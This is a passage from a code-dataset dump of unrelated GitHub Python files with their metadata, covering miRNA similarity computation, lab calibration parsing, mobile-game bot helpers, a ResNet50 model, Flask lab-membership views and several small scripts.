v_embedding_w = np.zeros([n, k])\r\n for i in range(k):\r\n m_embedding_w[:, i] = vec_m[vu_m_ind[i+1], :]\r\n v_embedding_w[:, i] = vec_d[vu_d_ind[i+1], :]\r\n embedding_weight = np.vstack((m_embedding_w, v_embedding_w))\r\n return embedding_weight\r\n\r\n\r\n\r\n#W is the matrix which needs to be normalized\r\ndef new_normalization (w):\r\n m = w.shape[0]\r\n p = np.zeros([m,m])\r\n for i in range(m):\r\n for j in range(m):\r\n if i == j:\r\n p[i][j] = 1/2\r\n elif np.sum(w[i,:])-w[i,i]>0:\r\n p[i][j] = w[i,j]/(2*(np.sum(w[i,:])-w[i,i]))\r\n return p\r\n\r\n# get the KNN kernel, k is the number if first nearest neibors\r\ndef KNN_kernel (S, k):\r\n n = S.shape[0]\r\n S_knn = np.zeros([n,n])\r\n for i in range(n):\r\n sort_index = np.argsort(S[i,:])\r\n for j in sort_index[n-k:n]:\r\n if np.sum(S[i,sort_index[n-k:n]])>0:\r\n S_knn [i][j] = S[i][j] / (np.sum(S[i,sort_index[n-k:n]]))\r\n return S_knn\r\n\r\n\r\n#updataing rules\r\ndef MiRNA_updating (S1,S2,S3,S4, P1,P2,P3,P4):\r\n it = 0\r\n P = (P1+P2+P3+P4)/4\r\n dif = 1\r\n while dif>0.0000001:\r\n it = it + 1\r\n P111 =np.dot (np.dot(S1,(P2+P3+P4)/3),S1.T)\r\n P111 = new_normalization(P111)\r\n # P222 =np.dot (np.dot(S2,(P1+P3+P4)/3),S2.T)\r\n # P222 = new_normalization(P222)\r\n # P333 = np.dot (np.dot(S3,(P1+P2+P4)/3),S3.T)\r\n # P333 = new_normalization(P333)\r\n P444 = np.dot(np.dot(S4,(P1+P2+P3)/3),S4.T)\r\n P444 = new_normalization(P444)\r\n P1 = P111\r\n # P2 = P222\r\n # P3 = P333\r\n P4 = P444\r\n # P_New = (P1+P2+P3+P4)/4\r\n P_New = (P1 + P4) / 4\r\n dif = np.linalg.norm(P_New-P)/np.linalg.norm(P)\r\n P = P_New\r\n print(\"Iter numb1\", it)\r\n return P\r\n\r\ndef disease_updating(S1,S2, P1,P2):\r\n it = 0\r\n P = (P1+P2)/2\r\n dif = 1\r\n while dif> 0.0000001:\r\n it = it + 1\r\n P111 =np.dot (np.dot(S1,P2),S1.T)\r\n P111 = new_normalization(P111)\r\n P222 =np.dot (np.dot(S2,P1),S2.T)\r\n P222 = new_normalization(P222)\r\n P1 = P111\r\n P2 = P222\r\n P_New = (P1+P2)/2\r\n dif = np.linalg.norm(P_New-P)/np.linalg.norm(P)\r\n P = P_New\r\n print(\"Iter numb2\", it)\r\n return P\r\n\r\ndef get_syn_sim (A, k1, k2):\r\n disease_sim1 = read_txt1(\"./data/HMDD3.2/disease_semantic_sim.txt\")\r\n miRNA_sim1 = read_txt1(\"./data/HMDD3.2/miRNA_functional_sim.txt\")\r\n miRNA_sim2 = read_txt1 (\"./data/HMDD3.2/miRNA_sequence_sim.txt\")\r\n miRNA_sim3 = read_txt1(\"./data/HMDD3.2/miRNA_semantic_sim.txt\")\r\n GIP_m_sim = (GIP_kernel(A)+miRNA_sim1+miRNA_sim2+miRNA_sim3)/4\r\n GIP_d_sim= (GIP_kernel(A.T)+disease_sim1)/2\r\n for i in range(k1):\r\n GIP_m_sim[i,i] = 0\r\n for j in range(k2):\r\n GIP_d_sim[j,j] = 0\r\n Pm_final = GIP_m_sim\r\n Pd_final = GIP_d_sim\r\n return Pm_final, Pd_final\r\n\r\n\r\n\r\n\r\n","repo_name":"XYDBCS/MLRDFM","sub_path":"mine_function.py","file_name":"mine_function.py","file_ext":"py","file_size_in_byte":20248,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"41152891402","text":"import os\nimport re\nimport datetime\nimport numpy as np\nimport pandas as pd\nfrom scipy import signal\nfrom scipy import interpolate\n\n\ndef composition(solution):\n m = re.match(\"\\d+.\\d+\", solution)\n try:\n return float(m.group())\n except AttributeError:\n return np.nan\n\n\ndef experiment_start_time(header, verbose=False):\n \"\"\" parse times from Jae's excel format \"\"\"\n # get the time\n t = header.iloc[2, 1].strip()\n dt = datetime.datetime.strptime(t, \"%H:%M:%S %p %z\")\n if verbose:\n print(\"time:\", dt.time().isoformat())\n\n # get the date\n t = header.iloc[1, 1:4].values.astype(str)\n t[-1] = int(float(t[-1]))\n t = \" \".join(map(str.strip, t))\n _dt = datetime.datetime.strptime(t, \"%A %B %d %Y\").date()\n if verbose:\n print(\"date:\", _dt.isoformat())\n\n # combine date and time\n return dt.replace(year=_dt.year, month=_dt.month, day=_dt.day)\n\n\ndef parse_calibration_sheet(df, name=None, verbose=False):\n # pattern match our way through the header to set up extraction\n h = df.iloc[0]\n concentration_pattern = \"\\d+.\\d+ M \\w+\"\n solution_ids = h.str.match(concentration_pattern, na=False)\n\n bg_pattern = \"boric acid background\"\n solution_ids[h == bg_pattern] = True\n\n s = h[np.where(solution_ids)[0]].to_dict()\n s = [(v, k) for k, v in s.items()]\n\n # hardcode replicates...\n solutions = []\n replicate_offset = 5\n for key, idx in s:\n solutions.append((key, idx))\n if \"M\" in key:\n solutions.append((key, idx + replicate_offset))\n\n # pull all the data out of the excel sheet...\n data = []\n for key, idx in solutions:\n offset = idx + 1\n if verbose:\n print(key, offset)\n\n row = {\"solution\": key}\n\n # load experiment header data\n h = df.iloc[:3, offset : offset + 4]\n row[\"start_time\"] = experiment_start_time(h).isoformat()\n\n # load results\n d = df.iloc[4:, offset : offset + 3]\n d = d.dropna()\n d.columns = [\"time\", \"voltage\", \"current\"]\n row.update(\n {col: np.array(d.values)[:, idx] for idx, col in enumerate(d.columns)}\n )\n\n data.append(row)\n\n data = pd.DataFrame(data)\n data[\"calibration\"] = name\n return data\n\n\ndef load_calibration_data(\n calibration_file=\"../data/calibration/Ni-Co-calibration-curves-2019-04-23.xlsx\",\n):\n # Ni and Co data live in different sheets\n # for each, we have three solution concentrations each with two replicates\n # then there's a boric acid background run\n xl = pd.ExcelFile(calibration_file)\n\n data = []\n for sheet in xl.sheet_names:\n name, *rest = sheet.split(None)\n print(name)\n df = xl.parse(sheet, header=None)\n data.append(parse_calibration_sheet(df, name=name))\n\n data = pd.concat(data, ignore_index=True)\n data[\"composition\"] = data.solution.apply(composition)\n\n return data\n\n\ndef load_old_calibration(calibration_file=\"../data/Nickel and Boric Acid Data.xlsx\"):\n # load calibration data from two Excel sheets\n df = pd.read_excel(calibration_file)\n\n solution = {\"0.2 M Ni\": 0, \"0.1 M Ni\": 4, \"0.025 M Ni\": 8, \"Ni\": 12, \"Co\": 16}\n\n data = []\n for key, offset in solution.items():\n row = {\"solution\": key}\n row\n d = df.iloc[3:, offset : offset + 3]\n d = d.dropna()\n d.columns = [\"time\", \"voltage\", \"current\"]\n row.update(\n {col: np.array(d.values)[:, idx] for idx, col in enumerate(d.columns)}\n )\n data.append(row)\n\n data = pd.DataFrame(data)\n data[\"calibration\"] = \"Nickel\"\n data[\"calibration\"][data[\"solution\"] == \"Co\"] = \"Cobalt\"\n\n df = pd.read_excel(\"../data/Cobalt Series of Depositions.xlsx\")\n\n solution = {\n \"0.1 M Co\": 2,\n \"0.05 M Co\": 6,\n \"0.025 M Co\": 10,\n }\n data2 = []\n for key, offset in solution.items():\n row = {\"solution\": key}\n d = df.iloc[:, offset : offset + 3]\n d = d.dropna()\n d.columns = [\"voltage\", \"current\", \"abscurrent\"]\n row.update(\n {col: np.array(d.values)[:, idx] for idx, col in enumerate(d.columns)}\n )\n data2.append(row)\n\n data2 = pd.DataFrame(data2)\n data2[\"calibration\"] = \"Cobalt\"\n\n data = pd.concat([data, data2], ignore_index=True)\n data[\"solution\"][data[\"solution\"].isin((\"Ni\", \"Co\"))] = \"boric acid background\"\n\n data[\"composition\"] = data.solution.apply(composition)\n return data\n","repo_name":"usnistgov/autoSDC","sub_path":"asdc/calibration.py","file_name":"calibration.py","file_ext":"py","file_size_in_byte":4474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"38718161636","text":"import requests\r\nimport json\r\nimport os as fs\r\nfrom colorama import init, Fore\r\nimport re\r\nimport config\r\nimport webbrowser\r\n\r\ndef createSaves():\r\n if not fs.path.isdir('./saves'):\r\n try:\r\n fs.mkdir('./saves')\r\n print('\"saves\" directory created.')\r\n except:\r\n print('unable to create \"saves\" directory.')\r\n\r\ndef getVersionCodes():\r\n try:\r\n r = requests.get('https://raw.githubusercontent.com/K1mpl0s/16-pc/master/versions.json')\r\n jso = r.json()\r\n if str(jso['sixteen']) != config.version:\r\n print(Fore.CYAN + '16 > new update!\\nwould you like to open discord? Press ENTER if so.')\r\n input()\r\n webbrowser.open(str(jso['discord']), new=1, autoraise=True)\r\n exit()\r\n config.gb_code = jso['gb']\r\n config.jp_code = jso['jp']\r\n except:\r\n print('can\\'t fetch version codes.')\r\n exit()\r\n\r\ndef checkServers(ver):\r\n try:\r\n if ver == 'gb':\r\n url = 'https://ishin-global.aktsk.com/ping'\r\n else:\r\n url = 'https://ishin-production.aktsk.jp/ping'\r\n headers = {\r\n 'X-Platform': 'android',\r\n 'X-ClientVersion': '1.0.0',\r\n 'X-Language': 'en',\r\n 'X-UserID': '////'\r\n }\r\n r = requests.get(url, data=None, headers=headers)\r\n store = r.json()\r\n if 'error' in store:\r\n print(store)\r\n url = store['ping_info']['host']\r\n port = store['ping_info']['port_str']\r\n if fs.path.isfile(ver + '-host.txt'):\r\n fs.unlink(ver + '-host.txt')\r\n f = open(ver + '-host.txt', 'w')\r\n f.write(url + ':' + str(port) + '\\n')\r\n f.close()\r\n #print(Fore.GREEN + '[' + ver + ' server] ' + url + ':' + str(port))\r\n else:\r\n f = open(ver + '-host.txt', 'w')\r\n f.write(url + ':' + str(port) + '\\n')\r\n f.close()\r\n #print(Fore.GREEN + '[' + ver + ' server] ' + url + ':' + str(port))\r\n return True\r\n except:\r\n print(Fore.RED + '[' + ver + ' server] can\\'t connect.')\r\n return False\r\n\r\ndef help1():\r\n f = open('mainpage.txt', 'r')\r\n txt = f.read().replace('{CYAN}', Fore.CYAN).replace('{LTYELLOW}', Fore.LIGHTYELLOW_EX).replace('{GREEN}', Fore.GREEN).replace('{YELLOW}', Fore.YELLOW).replace('\\\\n', '\\n')\r\n for match in re.findall(r'\\\\x[0-9A-Fa-f]{2}', txt):\r\n txt = txt.replace(match, chr(int(match[2:], 16)))\r\n print(txt)\r\n f.close()\r\n\r\ndef help2():\r\n f = open('help.txt', 'r')\r\n txt = f.read().replace('{CYAN}', Fore.CYAN).replace('{LTYELLOW}', Fore.LIGHTYELLOW_EX).replace('{GREEN}', Fore.GREEN).replace('{YELLOW}', Fore.YELLOW).replace('\\\\n', '\\n')\r\n for match in re.findall(r'\\\\x[0-9A-Fa-f]{2}', txt):\r\n txt = txt.replace(match, chr(int(match[2:], 16)))\r\n print(txt)\r\n f.close()","repo_name":"thesky-cdn/bot-dokkan-battle","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"19366207490","text":"\ndef order_pies():\n pie_list = [\"Pecan\", \"Apple Crisp\", \"Bean\", \"Banoffee\", \"Black Bun\", \"Blueberry\", \"Buko\", \"Burek\", \"Tamale\", \"Steak\"]\n pie_counter = 0\n pie_options = ''\n continue_ordering_flag = 'y'\n for i in range(len(pie_list)):\n if len(pie_options) == 0:\n pie_options = '(%s) ' % (str(i+1)) + pie_list[i]\n else:\n pie_options = pie_options + ', (%s) ' % (str(i+1)) + pie_list[i]\n while continue_ordering_flag == 'y':\n print(pie_options)\n pie_index = int(input('Which would you like? ')) - 1\n while pie_index not in list(range(0, len(pie_list))):\n pie_index = int(input('Invalid choice. Which would you like? ')) - 1\n pie_choice = pie_list[pie_index]\n print(\"Great! We'll have that %s right out for you\" % (pie_choice))\n pie_counter += 1\n continue_ordering_flag = input('Would you like to make another purchase: (y)es or (n)o? ')\n while continue_ordering_flag not in ['y', 'n']:\n continue_ordering_flag = input('Invalid response. Would you like to make another purchase: (y)es or (n)o? ')\n print('You purchased a total of %s pies.' % (str(pie_counter)))\norder_pies()\n","repo_name":"markgroner/data_dev","sub_path":"3_python/order_pies.py","file_name":"order_pies.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"74158537499","text":"import os\nimport numpy as np\nimport tensorflow as tf\nimport h5py\nimport math\nimport numpy as np\nfrom keras import layers\nfrom keras.layers import Input, Add, Dense, Activation, ZeroPadding2D, BatchNormalization, Flatten, Conv2D, AveragePooling2D, MaxPooling2D, GlobalMaxPooling2D\nfrom keras.models import Model, load_model\nfrom keras.preprocessing import image\nfrom keras.utils import layer_utils\nfrom keras.utils.data_utils import get_file\nfrom keras.applications.imagenet_utils import preprocess_input\nimport pydot\nfrom IPython.display import SVG\nfrom keras.utils.vis_utils import model_to_dot\nfrom keras.utils import plot_model\nfrom resnets_utils import *\nfrom keras.initializers import glorot_uniform\nimport scipy.misc\nimport matplotlib.pyplot as plt\nfrom matplotlib.pyplot import imshow\n\n\n\n\ndef load_dataset():\n train_dataset = h5py.File('train_signs.h5', \"r\")\n train_set_x_orig = np.array(train_dataset[\"train_set_x\"][:]) # your train set features\n train_set_y_orig = np.array(train_dataset[\"train_set_y\"][:]) # your train set labels\n\n test_dataset = h5py.File('test_signs.h5', \"r\")\n test_set_x_orig = np.array(test_dataset[\"test_set_x\"][:]) # your test set features\n test_set_y_orig = np.array(test_dataset[\"test_set_y\"][:]) # your test set labels\n\n classes = np.array(test_dataset[\"list_classes\"][:]) # the list of classes\n \n train_set_y_orig = train_set_y_orig.reshape((1, train_set_y_orig.shape[0]))\n test_set_y_orig = test_set_y_orig.reshape((1, test_set_y_orig.shape[0]))\n \n return train_set_x_orig, train_set_y_orig, test_set_x_orig, test_set_y_orig, classes\n\n\ndef random_mini_batches(X, Y, mini_batch_size = 64, seed = 0):\n \"\"\"\n Creates a list of random minibatches from (X, Y)\n \n Arguments:\n X -- input data, of shape (input size, number of examples) (m, Hi, Wi, Ci)\n Y -- true \"label\" vector (containing 0 if cat, 1 if non-cat), of shape (1, number of examples) (m, n_y)\n mini_batch_size - size of the mini-batches, integer\n seed -- this is only for the purpose of grading, so that you're \"random minibatches are the same as ours.\n \n Returns:\n mini_batches -- list of synchronous (mini_batch_X, mini_batch_Y)\n \"\"\"\n \n m = X.shape[0] # number of training examples\n mini_batches = []\n np.random.seed(seed)\n \n # Step 1: Shuffle (X, Y)\n permutation = list(np.random.permutation(m))\n shuffled_X = X[permutation,:,:,:]\n shuffled_Y = Y[permutation,:]\n\n # Step 2: Partition (shuffled_X, shuffled_Y). Minus the end case.\n num_complete_minibatches = math.floor(m/mini_batch_size) # number of mini batches of size mini_batch_size in your partitionning\n for k in range(0, num_complete_minibatches):\n mini_batch_X = shuffled_X[k * mini_batch_size : k * mini_batch_size + mini_batch_size,:,:,:]\n mini_batch_Y = shuffled_Y[k * mini_batch_size : k * mini_batch_size + mini_batch_size,:]\n mini_batch = (mini_batch_X, mini_batch_Y)\n mini_batches.append(mini_batch)\n \n # Handling the end case (last mini-batch < mini_batch_size)\n if m % mini_batch_size != 0:\n mini_batch_X = shuffled_X[num_complete_minibatches * mini_batch_size : m,:,:,:]\n mini_batch_Y = shuffled_Y[num_complete_minibatches * mini_batch_size : m,:]\n mini_batch = (mini_batch_X, mini_batch_Y)\n mini_batches.append(mini_batch)\n \n return mini_batches\n\n\ndef convert_to_one_hot(Y, C):\n Y = np.eye(C)[Y.reshape(-1)].T\n return Y\n\n\ndef forward_propagation_for_predict(X, parameters):\n \"\"\"\n Implements the forward propagation for the model: LINEAR -> RELU -> LINEAR -> RELU -> LINEAR -> SOFTMAX\n \n Arguments:\n X -- input dataset placeholder, of shape (input size, number of examples)\n parameters -- python dictionary containing your parameters \"W1\", \"b1\", \"W2\", \"b2\", \"W3\", \"b3\"\n the shapes are given in initialize_parameters\n\n Returns:\n Z3 -- the output of the last LINEAR unit\n \"\"\"\n \n # Retrieve the parameters from the dictionary \"parameters\" \n W1 = parameters['W1']\n b1 = parameters['b1']\n W2 = parameters['W2']\n b2 = parameters['b2']\n W3 = parameters['W3']\n b3 = parameters['b3'] \n # Numpy Equivalents:\n Z1 = tf.add(tf.matmul(W1, X), b1) # Z1 = np.dot(W1, X) + b1\n A1 = tf.nn.relu(Z1) # A1 = relu(Z1)\n Z2 = tf.add(tf.matmul(W2, A1), b2) # Z2 = np.dot(W2, a1) + b2\n A2 = tf.nn.relu(Z2) # A2 = relu(Z2)\n Z3 = tf.add(tf.matmul(W3, A2), b3) # Z3 = np.dot(W3,Z2) + b3\n \n return Z3\n\ndef predict(X, parameters):\n \n W1 = tf.convert_to_tensor(parameters[\"W1\"])\n b1 = tf.convert_to_tensor(parameters[\"b1\"])\n W2 = tf.convert_to_tensor(parameters[\"W2\"])\n b2 = tf.convert_to_tensor(parameters[\"b2\"])\n W3 = tf.convert_to_tensor(parameters[\"W3\"])\n b3 = tf.convert_to_tensor(parameters[\"b3\"])\n \n params = {\"W1\": W1,\n \"b1\": b1,\n \"W2\": W2,\n \"b2\": b2,\n \"W3\": W3,\n \"b3\": b3}\n \n x = tf.placeholder(\"float\", [12288, 1])\n \n z3 = forward_propagation_for_predict(x, params)\n p = tf.argmax(z3)\n \n sess = tf.Session()\n prediction = sess.run(p, feed_dict = {x: X})\n \n return prediction\n\nimport keras.backend as K\nK.set_image_data_format('channels_last')\nK.set_learning_phase(1)\n\nX_train_orig, Y_train_orig, X_test_orig, Y_test_orig, classes = load_dataset()\nX_train = X_train_orig / 255\nX_test = X_test_orig / 255\nY_train = convert_to_one_hot(Y_train_orig, 6).T\nY_test = convert_to_one_hot(Y_test_orig, 6).T\n\nprint (\"number of training examples = \" + str(X_train.shape[0]))\nprint (\"number of test examples = \" + str(X_test.shape[0]))\nprint (\"X_train shape: \" + str(X_train.shape))\nprint (\"Y_train shape: \" + str(Y_train.shape))\nprint (\"X_test shape: \" + str(X_test.shape))\nprint (\"Y_test shape: \" + str(Y_test.shape))\n\n#number of training examples = 1080\n#number of test examples = 120\n#X_train shape: (1080, 64, 64, 3)\n#Y_train shape: (1080, 6)\n#X_test shape: (120, 64, 64, 3)\n#Y_test shape: (120, 6)\n\ndef identity_block(X, f, filters, stage, block):\n\n conv_name_base = 'res' + str(stage) + block + '_branch'\n bn_name_base = 'bn' + str(stage) + block + '_branch'\n\n F1, F2, F3 = filters\n\n X_shortcut = X\n\n X = Conv2D(filters = F1, kernel_size = (1,1), strides = (1,1), padding = 'valid', name = conv_name_base + '2a', kernel_initializer = glorot_uniform(seed = 0))(X)\n X = BatchNormalization(axis = 3, name = bn_name_base + '2a')(X)\n X = Activation('relu')(X)\n\n X = Conv2D(filters = F2, kernel_size = (f,f), strides = (1,1), padding = 'same', name = conv_name_base + '2b', kernel_initializer = glorot_uniform(seed = 0))(X)\n X = BatchNormalization(axis = 3, name = bn_name_base + '2b')(X)\n X = Activation('relu')(X)\n\n X = Conv2D(filters = F3, kernel_size = (1,1), strides = (1,1), padding = 'valid', name = conv_name_base + '2c', kernel_initializer = glorot_uniform(seed = 0))(X)\n X = BatchNormalization(axis = 3, name = bn_name_base + '2c')(X)\n\n X = Add()([X, X_shortcut])\n X = Activation('relu')(X)\n\n return X\n\n#tf.reset_default_graph()\n#\n#with tf.Session() as sess:\n# np.random.seed(1)\n# A_prev = tf.placeholder(\"float\", [3,4,4,6])\n# X = np.random.randn(3,4,4,6)\n# A = identity_block(A_prev, f = 2, filters = [2,4,6], stage = 1, block = 'a')\n# sess.run(tf.global_variables_initializer())\n# out = sess.run([A], feed_dict = {A_prev:X, K.learning_phase():0})\n# print(\"out = \" + str(out[0][1][1][0]))\n\ndef convolutional_block(X, f, filters, stage, block, s=2):\n\n conv_name_base = 'res' + str(stage) + block + '_branch'\n bn_name_base = 'bn' + str(stage) + block + '_branch'\n F1, F2, F3 = filters\n\n X_shortcut = X\n\n X = Conv2D(filters = F1, kernel_size = (1,1), strides = (s,s), name = conv_name_base + '2a', kernel_initializer = glorot_uniform(seed = 0))(X)\n X = BatchNormalization(axis = 3, name = bn_name_base + '2a')(X)\n X = Activation('relu')(X)\n\n X = Conv2D(filters = F2, kernel_size = (f,f), strides = (1,1), padding = 'same', name = conv_name_base + '2b', kernel_initializer = glorot_uniform(seed = 0))(X)\n X = BatchNormalization(axis = 3, name = bn_name_base + '2b')(X)\n X = Activation('relu')(X)\n\n X = Conv2D(filters = F3, kernel_size = (1,1), strides = (1,1), name = conv_name_base + '2c', kernel_initializer = glorot_uniform(seed = 0))(X)\n X = BatchNormalization(axis = 3, name = bn_name_base + '2c')(X)\n\n X_shortcut = Conv2D(F3, (1,1), strides = (s,s), name = conv_name_base + '1', kernel_initializer = glorot_uniform(seed=0))(X_shortcut)\n X_shortcut = BatchNormalization(axis = 3, name=bn_name_base + '1')(X_shortcut)\n\n X = Add()([X, X_shortcut])\n X = Activation('relu')(X)\n\n return X\n#tf.reset_default_graph()\n#\n#with tf.Session() as test:\n# np.random.seed(1)\n# A_prev = tf.placeholder(\"float\", [3, 4, 4, 6])\n# X = np.random.randn(3, 4, 4, 6)\n# A = convolutional_block(A_prev, f = 2, filters = [2, 4, 6], stage = 1, block = 'a')\n# test.run(tf.global_variables_initializer())\n# out = test.run([A], feed_dict={A_prev: X, K.learning_phase(): 0})\n# print(\"out = \" + str(out[0][1][1][0]))\n\ndef ResNet50(input_shape = (64, 64, 3), classes = 6):\n \n \n\n\n X_input = Input(input_shape)\n\n X = ZeroPadding2D((3, 3))(X_input)\n\n X = Conv2D(64, (7, 7), strides = (2,2), name = 'conv1', kernel_initializer = glorot_uniform(seed=0))(X)\n X = BatchNormalization(axis = 3, name = 'bn_conv1')(X)\n X = Activation('relu')(X)\n X = MaxPooling2D((3, 3), strides = (2,2))(X)\n\n X = convolutional_block(X, f = 3, filters = [64,64,256], stage = 2, block = 'a', s = 1)\n X = identity_block(X, 3, [64,64,256], stage=2, block='b')\n X = identity_block(X, 3, [64,64,256], stage=2, block='c')\n\n X = convolutional_block(X, f = 3, filters = [128,128,512], stage = 3, block = 'a', s = 2)\n X = identity_block(X, 3, [128,128,512], stage=3, block='b')\n X = identity_block(X, 3, [128,128,512], stage=3, block='c')\n X = identity_block(X, 3, [128,128,512], stage=3, block='d')\n\n X = convolutional_block(X, f = 3, filters = [256,256,1024], stage = 4, block = 'a', s = 2)\n X = identity_block(X, 3, [256,256,1024], stage=4, block='b')\n X = identity_block(X, 3, [256,256,1024], stage=4, block='c')\n X = identity_block(X, 3, [256,256,1024], stage=4, block='d') \n X = identity_block(X, 3, [256,256,1024], stage=4, block='e')\n X = identity_block(X, 3, [256,256,1024], stage=4, block='f')\n\n X = convolutional_block(X, f = 3, filters = [512,512,2048], stage = 5, block = 'a', s = 2)\n X = identity_block(X, 3, [512,512,2048], stage=5, block='b')\n X = identity_block(X, 3, [512,512,2048], stage=5, block='c')\n\n X = AveragePooling2D((2, 2), name='avg_pool')(X)\n\n X = Flatten()(X)\n X = Dense(classes, activation = 'softmax', name = 'fc' + str(classes), kernel_initializer = glorot_uniform(seed=0))(X)\n\n model = Model(inputs = X_input, outputs = X, name = 'ResNet50')\n\n return model\n\nmodel = ResNet50(input_shape = (64, 64, 3), classes = 6)\nmodel.compile(optimizer='adam', loss = 'categorical_crossentropy', metrics=['accuracy'])\n\nmodel.fit(X_train, Y_train, epochs = 2, batch_size = 32)\n\n","repo_name":"luogantt/resnet50.example","sub_path":"resnets50.py","file_name":"resnets50.py","file_ext":"py","file_size_in_byte":11405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"30833389785","text":"from mongoengine import Document, IntField, EmbeddedDocumentListField, BooleanField, NotUniqueError\n\nfrom mage.models.Reaction import Reaction\n\n\nclass Message(Document):\n discord_message_id = IntField()\n discord_guild_id = IntField(required=True)\n reactions = EmbeddedDocumentListField(Reaction)\n is_distinct = BooleanField()\n\n def __init__(self, discord_message_id=None, discord_guild_id=None, reactions=[], is_distinct=False, *args, **kwargs):\n super(Message, self).__init__(*args, **kwargs)\n self.discord_message_id = discord_message_id\n self.discord_guild_id = discord_guild_id\n self.reactions = reactions\n self.is_distinct = is_distinct\n\n\n def save_this(self, *args, **kwargs):\n \"\"\" Updates this user\n\n :param kwargs: Query Operations\n :return: List with user\n \"\"\"\n try:\n return Message.objects(\n discord_message_id=self.discord_message_id\n ).update_one(upsert=True, **kwargs)\n except NotUniqueError:\n raise NotUniqueError(f\"User already exists.\")\n\n\n def delete_this(self):\n \"\"\" Deletes self document\n\n :return: Amount of deleted documents\n \"\"\"\n return Message.objects(\n discord_message_id=self.discord_message_id\n ).delete()\n","repo_name":"Martin-Ludwig/Mage","sub_path":"mage/models/Message.py","file_name":"Message.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"3931627782","text":"import requests\nimport json\nimport time\n\n\ndef sql_monthly_nft_transfer_count(nmonths=12):\n query_str = f\"\"\"\n SELECT \\\n HISTOGRAM(\"@timestamp\", INTERVAL 1 MONTH) AS month, \\\n COUNT(*) as transfer_count \\\n FROM eth_erc721 \\\n WHERE \"timestamp\" >= NOW() - INTERVAL '{nmonths}' MONTH \\\n GROUP BY month \\\n ORDER BY month\n \"\"\"\n query = {\"query\": query_str}\n url = \"https://api.syve.ai/v1/sql\"\n response = requests.post(url, json=query)\n records = response.json()\n return records\n\n\ndef main():\n fetch_start = time.time()\n records = sql_monthly_nft_transfer_count(nmonths=6)\n fetch_took = time.time() - fetch_start\n print(json.dumps(records, indent=4))\n print(\"Took: %.2f seconds\" % fetch_took)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"martkir/syve-examples","sub_path":"monthly_nft_transfer_counts.py","file_name":"monthly_nft_transfer_counts.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"22402830253","text":"import arrow\nfrom flask import render_template, url_for, flash, redirect\nfrom flask_login import login_required, current_user\nfrom . import main_blueprint as main\nfrom app.main.models import Laboratory, UserLabAffil\nfrom app import db\n\n\n@main.route('/')\n@login_required\ndef index():\n labs = Laboratory.query.all()\n return render_template('main/index.html', labs=labs)\n\n\n@main.route('/about')\ndef about():\n return render_template('main/about.html')\n\n\n@main.route('/labs/<int:lab_id>/members')\n@login_required\ndef list_members(lab_id):\n lab = Laboratory.query.get(lab_id)\n return render_template('main/lab_members.html', lab=lab)\n\n\n@main.route('/labs/<int:lab_id>/join')\n@login_required\ndef request_join_lab(lab_id):\n existing_affil_record = UserLabAffil.query.filter_by(lab_id=lab_id, user_id=current_user.id).first()\n lab = Laboratory.query.get(lab_id)\n if existing_affil_record:\n if not existing_affil_record.approved:\n flash('You already sent a request. Please wait to be approved.', 'warning')\n return redirect(url_for('main.index'))\n else:\n flash('You already affiliate with this lab.', 'success')\n return redirect(url_for('lab.landing', lab_id=lab_id))\n else:\n affil_record = UserLabAffil(\n user=current_user,\n lab=lab,\n joined_at=arrow.now('Asia/Bangkok').datetime\n )\n db.session.add(affil_record)\n db.session.commit()\n return render_template('main/lab_members.html', lab=lab)\n\n\n@main.route('/labs/<int:lab_id>/approve/user/<int:user_id>')\n@login_required\ndef approve_member(lab_id, user_id):\n affil_record = UserLabAffil.query.filter_by(user_id=user_id,\n lab_id=lab_id\n ).first()\n lab = Laboratory.query.get(lab_id)\n if current_user == lab.creator:\n if not affil_record.approved:\n affil_record.approved = True\n db.session.add(affil_record)\n db.session.commit()\n flash('The user has been approved to join the lab.', 'success')\n else:\n flash('The user has already been approved.')\n else:\n flash('You do not have a permission to approve a user.', 'danger')\n return redirect(url_for('main.list_members', lab_id=lab_id))\n","repo_name":"likit/labtycoon","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"7498271935","text":"from math import factorial\n\ndef C_sample(n,r):\n return int((factorial(n))/(factorial(r)*factorial(n-r)))\n\ncount = 0\n\nfor n in range(1,101):\n for r in range (0,n):\n value = C_sample(n,r)\n if value > 1000000:\n count += 1\nprint(count)\n","repo_name":"PontificSalivan/Project-Euler","sub_path":"51-100/53.py","file_name":"53.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37312434888","text":"import pymysql\nfrom pymysql.cursors import DictCursor\nimport os\nimport pandas as pd\nfrom sklearn import tree\nfrom sklearn import preprocessing\nimport numpy as np\nimport TreeParser\n\nclass DrawTree():\n def __init__(self):\n os.environ[\"PATH\"] += os.pathsep + 'C:/Program Files (x86)/Graphviz2.38/bin/'\n self.cnx_data = pymysql.connect(host='localhost', port=3306, user='ddwge', passwd='ddwge76', db='ddwge', charset='utf8')\n self.cur_raw = self.cnx_data.cursor(DictCursor)\n self.tree_id = 0\n def iterMaps(self):\n distinct_map_sql = \"\"\"SELECT Distinct(m_map) FROM sampleomok.sit_rep_turn where type=2\"\"\"\n self.cur_raw.execute(distinct_map_sql)\n rows = self.cur_raw.fetchall()\n\n for row in rows:\n self.tree_id+=1\n print(self.tree_id,\" out of {} maps\".format(len(rows)))\n self.drawOneDecisionTree(row['m_map'])\n # 특정 map 형태\n # 모든 distinct 한 map들에 대해 tree를 그린다. distinct map개수가 곧 tree의 